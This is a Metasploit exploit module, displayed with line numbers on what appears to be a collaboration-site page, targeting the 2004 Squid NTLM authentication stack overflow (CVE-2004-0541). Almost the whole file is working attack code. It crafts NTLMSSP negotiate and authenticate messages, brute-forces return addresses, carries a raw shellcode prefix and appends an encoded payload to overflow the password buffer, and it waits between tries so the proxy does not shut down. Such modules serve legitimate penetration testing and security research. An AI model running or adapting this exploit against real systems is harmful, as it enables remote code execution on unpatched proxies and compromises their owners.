Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Brute
10
  include Msf::Exploit::Remote::Tcp
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Squid NTLM Authenticate Overflow',
15
      'Description'    => %q{
16
          This is an exploit for Squid\'s NTLM authenticate overflow
17
        (libntlmssp.c). Due to improper bounds checking in
18
        ntlm_check_auth, it is possible to overflow the 'pass'
19
        variable on the stack with user controlled data of a user
20
        defined length.  Props to iDEFENSE for the advisory.
21
      },
22
      'Author'         => 'skape',
23
      'References'     =>
24
        [
25
          [ 'CVE', '2004-0541'],
26
          [ 'OSVDB', '6791'],
27
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
28
          [ 'BID', '10500'],
29
        ],
30
      'Privileged'     => false,
31
      'Payload'        =>
32
        {
33
          'Space'    => 256,
34
          'MinNops'  => 16,
35
          'Prepend'  => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
36
          'PrependEncoder' => "\x83\xec\x7f",
37

38
        },
39
      'Platform'   => %w{ linux },
40
      'Targets'        =>
41
        [
42
          [ 'Linux Bruteforce',
43
            {
44
              'Platform'   => 'linux',
45
              'Bruteforce' =>
46
                {
47
                  'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
48
                  'Stop'  => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
49
                  'Step'  => 0
50
                }
51
            },
52
          ],
53
        ],
54
      'DisclosureDate' => '2004-06-08',
55
      'DefaultTarget'  => 0))
56

57
    register_advanced_options(
58
      [
59
        # We must wait 15 seconds between each attempt so as to prevent
60
        # squid from exiting completely after 5 crashes.
61
        OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
62
      ])
63
  end
64

65
  def brute_exploit(addresses)
66
    site = "http://" + rand_text_alpha(rand(128)) + ".com"
67

68
    print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
69
    connect
70

71
    trasnmit_negotiate(site)
72
    transmit_authenticate(site, addresses)
73

74
    handler
75
    disconnect
76
  end
77

78
  def trasnmit_negotiate(site)
79
    negotiate  =
80
      "NTLMSSP\x00"        + # NTLMSSP identifier
81
      "\x01\x00\x00\x00"   + # NTLMSSP_NEGOTIATE
82
      "\x07\x00\xb2\x07"   + # flags
83
      "\x01\x00\x09\x00"   + # workgroup len/max       (1)
84
      "\x01\x00\x00\x00"   + # workgroup offset        (1)
85
      "\x01\x00\x03\x00"   + # workstation len/max     (1)
86
      "\x01\x00\x00\x00"     # workstation offset      (1)
87

88
    print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
89
    req =
90
      "GET #{site} HTTP/1.1\r\n" +
91
      "Proxy-Connection: Keep-Alive\r\n" +
92
      "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
93
      "\r\n"
94
    sock.put(req)
95

96
  end
97

98
  def transmit_authenticate(site, addresses)
99
    overflow     =
100
      rand_text_alphanumeric(0x20) +
101
      [addresses['Ret']].pack('V') +
102
      [addresses['Valid']].pack('V') +
103
      "\xff\x00\x00\x00"
104
    shellcode    = payload.encoded
105
    pass_len     = [overflow.length + shellcode.length].pack('v')
106
    authenticate =
107
      "NTLMSSP\x00"        + # NTLMSSP identifier
108
      "\x03\x00\x00\x00"   + # NTLMSSP_AUTHENTICATE
109
      pass_len + pass_len  + # lanman response len/max
110
      "\x38\x00\x00\x00"   + # lanman response offset  (56)
111
      "\x01\x00\x01\x00"   + # nt response len/max     (1)
112
      "\x01\x00\x00\x00"   + # nt response offset      (1)
113
      "\x01\x00\x01\x00"   + # domain name len/max     (1)
114
      "\x01\x00\x00\x00"   + # domain name offset      (1)
115
      "\x01\x00\x01\x00"   + # user name               (1)
116
      "\x01\x00\x00\x00"   + # user name offset        (1)
117
      "\x00\x00\x00\x00"   + # session key
118
      "\x8b\x00\x00\x00"   + # session key
119
      "\x06\x82\x00\x02"   + # flags
120
      overflow + shellcode
121

122
    print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
123
    req =
124
      "GET #{site} HTTP/1.1\r\n" +
125
      "Proxy-Connection: Keep-Alive\r\n" +
126
      "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
127
      "\r\n"
128
    sock.put(req)
129
  end
130
end
131

132